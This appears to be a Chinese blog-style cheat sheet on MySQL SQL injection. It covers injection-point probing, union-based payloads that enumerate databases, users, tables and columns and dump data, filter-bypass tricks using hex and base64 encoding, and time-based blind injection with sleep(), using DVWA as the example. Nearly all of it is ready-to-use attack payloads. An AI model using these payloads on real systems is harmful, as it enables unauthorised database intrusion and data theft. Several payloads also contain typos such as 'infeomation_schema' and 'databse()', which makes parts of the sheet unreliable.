简单的sql注入语法+盲注。

数据库注入语法

一.判断是否有注入点

简单如: and 1=1 and 1=2

二.要搜寻的一些基本信息

数据库名 database() 用户名 user() 数据库版本信息 version() 版本大于5.0,自身带有数据库信息。可以查询用户,表名,列名 操作系统 @@version_compile_os mysql安装路径 @@basedir 数据库路径 @@datadir table_name 表名 column_name 列名 table_schema 数据库名 information_schema.tables 记录表名信息的表 information_schema.columns 记录列名信息的表

三.order by 1,2,3 确定字段数

  1. union select database(),user(),version(),@@version_complie_os 得到:数据库名 用户名 版本 系统信息
  2. union select schema_name,2 from infeomation_schema.schemata 得到:mysql数据库下的所有数据库名
  3. union select table_name,2 from information_schema.tables where table_schema=’数据库名’ 得到:该数据库下面的所有表名 union select table_name,table_schema from information_schema.tables where table_schema=’数据库名’ 得到:该数据库下面的所有表名
  4. union select column_name,2 from information_schema.columns where table_schema=’数据库名’ 得到:该数据库里面的所有列名 union select column_name,table_schema from information_schema.columns where table_schema=’数据库名’ 得到:该数据库里面的所有列名
  5. union select column_name,2 from information_schema.columns where table_name=’表名’ 得到:该表里的所有列名
  6. 曝出数据

四.注入绕过

1.整数 直接注入 2.字符型 闭合引号 3.加了魔术引号 会在 双引号 单引号 前面加斜杠 可以将单引号中的值转化位16进制 4.采用加密的 如base64 将所的注入都进行加密再进行注入

五.sql盲注

sleep()
	if(条件,Ture,False)
	mid(str,1,1)    str截取目标  1截取第几位   2截取第几个
	ord ascii编码
	length()  获取长度
	limit 0,2  0代表第一行
	例:and sleep(if((select database()=dvwa),0,5))
	例:and sleep(if((database()=dvwa),0,5))
	查询数据库名是不是dvwa是的话0秒返回,不是则延迟5秒返回
	例:And sleep (if((select length(database())=4),0,5))
	例:And sleep (if((length(database())=4),0,5))
	查询数据库名的长度是不是4。是的话0秒返回,不是则延迟5秒返回
	例:and sleep(if((mid(database(),1,1)=d),0,5))
	第一个数据库的第一个字母是不是d。是的话0秒返回,不是则延迟5秒返回
	例:and sleep (if((ord(length(database()))=52),0,5))
	4的ascii码位52,	
	1’ and ascii(substr(databse(),1,1))>97
经验分享 程序员 微信小程序 职场和发展